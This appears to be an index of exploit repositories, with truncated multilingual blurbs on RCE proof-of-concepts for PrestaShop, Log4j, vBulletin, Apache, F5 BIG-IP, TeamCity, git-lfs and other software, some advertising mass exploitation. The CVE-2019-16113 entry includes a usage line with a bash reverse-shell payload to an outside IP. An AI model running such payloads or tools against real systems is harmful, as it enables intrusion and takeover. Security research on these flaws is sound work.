CVE-2024-41651

Blind SSRF zu RCE Exploit - PrestaShop 8.1.7 Dieses Dokument beschreibt einen Blind-SSRF-zu-RCE-Exploit auf einer frischen PrestaShop 8.1.7 Docker-Installation. Voraussetzungen Stellen Sie sicher, dass mindestens ein veraltetes Modul installiert ist, zum Beispiel: psfacetedsearch Laden Sie das...

Log4j-_Vulnerability

The Web Is Vulnerable to CVE-2021-44228 Questa applicazione web è vulnerabile a CVE-2021-44228, una falla di sicurezza critica in Apache Log4j 2 nota come Log4Shell. Questa vulnerabilità consente a un attaccante non autenticato di eseguire codice dannoso da remoto semplicemente inviando un input...

CVE-2022-21661

🛡️ CVE-2022-21661 Ein Python-basierter Proof-of-Concept PoC -Exploit für CVE-2022-21661, eine kritische Schwachstelle in WordPress, die es nicht autorisierten Angreifern ermöglicht, Object-Injection-Angriffe durchzuführen, die unter bestimmten Bedingungen zu Remote Code Execution RCE führen können...

https-github.com-xaitax-CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability

CVE-2024-21413 | Proof-of-Concept für die Microsoft Outlook Remote Code Execution-Schwachstelle 📜 Beschreibung Dieses Skript präsentiert einen Proof-of-Concept PoC für CVE-2024-21413, eine bedeutende Sicherheitsschwachstelle, die in Microsoft Outlook entdeckt wurde und einen CVSS-Wert von 9,8...

CVE-2019-16759

CVE-2019-16759 vBulletin 5.0 5.5.4 - 'widgetphp ' Execução Remota de Código Não Autenticada Console de linha de comando interativo para CVE-2019-16759 Uso: root@kitploit: python3 exploit.py Insira o site com Http/Https e obtenha o Shell :p...

CVE-2021-22911-RocketChat

CVE-2021-22911 — Rocket.Chat 3.12.1 RCE Improvised Descrizione Sfrutta una vulnerabilità di NoSQL injection pre-autenticazione in Rocket.Chat 3.12.1 per divulgare il segreto TOTP dell'admin e il token di reset della password, impossessarsi dell'account admin e ottenere RCE tramite una webhook...

NotSecDrv

NotSecDrv - Un codice PoC per CVE-2018-7249 Descrizione Generale Un problema è stato scoperto in secdrv.sys come fornito in Microsoft Windows Vista, Windows 7, Windows 8 e Windows 8.1 prima di KB3086255, e come fornito in Macrovision SafeDisc. Due chiamate opportunamente temporizzate a IOCTL...

CVE-2021-24499

CVE-2021-24499 Sfruttamento di massa di CVE-2021-24499: upload non autenticato che porta all'esecuzione remota di codice nel tema Workreap. Le azioni AJAX workreapawardtempfileuploader e workreaptempfileuploader non eseguivano controlli nonce, né verificavano in alcun altro modo che la richiesta...

Apache-CVE-2021-42013-RCE-Exploit

🚀 Überblick Dieses Exploit-Tool zielt auf Path-Traversal- und Remote-Code-Execution-Schwachstellen in Apache HTTP Server Versionen 2.4.49 und 2.4.50 ab. Das Tool verwendet das curl-Backend, um URL-Codierungsprobleme zu umgehen, die andere Python-basierte Exploit-Versuche beeinträchtigen, und biet...

cve-2021-1675

〖EXP〗Ladon Drucker-Schwachstelle Privilegieneskalation CVE-2021-1675 Reproduktion http://k8gege.org/p/CVE-2021-1675.html Grundlegende Informationen Am 9. Juni veröffentlichte Microsoft das Sicherheitsupdate für Juni und behob 50 Sicherheitslücken, darunter eine Windows Print Spooler-Elevation of...

CVE-2019-16113

CVE-2019-16113 CVE-2019-16113 - bludit = 3.9.2 RCE authentifiziert Verwendung python CVE-2019-16113.py -u http://10.10.10.10 -user user -pass secret -c "bash -c 'bash -i & /dev/tcp/10.10.14.172/1337 0&1'" Beispiel...

CVE-2021-22986

F5 BIG-IP RCE / Vulnerabilità di Esecuzione di Codice Remota CVE-2021-22986 Code By:Tas9er AVVERTENZA Questo strumento è progettato per aiutare le aziende a individuare e correggere rapidamente le vulnerabilità. Deve essere utilizzato solo per test di sicurezza autorizzati, in stretta conformità...

CVE-2020-5902-Scanner

CVE-2020-5902-Scanner Scanner automatizzato per F5 Big IP Remote Code Execution CVE-2020-5902 scritto in Python 3 Descrizione della vulnerabilità F5 ha rilasciato una vulnerabilità critica di Remote Code Execution CVE-2020-5902 il 30 giugno 2020 che colpisce diverse versioni di Big IP. Un...

CVE-2018-4121

CVE-2018-4121 - Exploit POC RCE delle sezioni Wasm di Safari di MWR Labs c 2018 Dettagli questo exploit proof of concept ha come target solo Safari 11.0.3 13604.5.6 su macOS 10.13.3 17D47. compila il payload desiderato come dylib con un costruttore esegui python filetojsarray.py your.dylib...

CVE-2022-21907-RCE

CVE-2022-21907-RCE CVE-2022-21907 vulnerabilità RCE PoC Istruzioni per l'uso: go run ./CVE-2022-21907.go -h...

CVE-2026-0770

CVE-2026-0770: Langflow execglobals Unauthentifizierte Remote-Codeausführung PoC CVE-2026-0770 ist eine Schwachstelle für nicht authentifizierte Remote-Codeausführung RCE, die Langflow betrifft. Der Fehler beruht auf einer unzureichenden Eingabevalidierung bei der Verarbeitung des Parameters...

CVE-2025-34159

CVE-2025-34159: Iniezione di Docker Compose in Coolify Panoramica della Vulnerabilità Campo| Valore ---|--- ID CVE| CVE-2025-34159 Interessa| Coolify ≤ v4.0.0-beta.420.6 Corretta in| v4.0.0-beta.420.7 Gravità| Critica CVSS 4.0| CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H CWE|...

CVE-2024-27198-POC

CVE-2024-27198 – JetBrains TeamCity Bypass dell'Autenticazione e PoC RCE Autore: EynaExp Ambito: Ricerca / Convalida Difensiva / Solo Test Autorizzati Panoramica Questo repository contiene uno scanner di massa proof-of-concept che prende di mira le istanze JetBrains TeamCity affette da...

git-lfs-RCE-exploit-CVE-2020-27955-Go

Exploit di Remote Code Execution RCE in Git-lfs CVE-2020-27955 versione Go Vulnerabili: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken ecc. Scoperto da Dawid Golunski https://legalhackers.com https://exploitbox.io Testato su Windows su: git, GitHub CLI gh,...

git-lfs-RCE-exploit-CVE-2020-27955

Exploit di Remote Code Execution RCE su Git-lfs CVE-2020-27955 versione .bat / powershell Vulnerabile: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken ecc. Scoperto da Dawid Golunski https://legalhackers.com https://exploitbox.io Testato su Windows su: git,...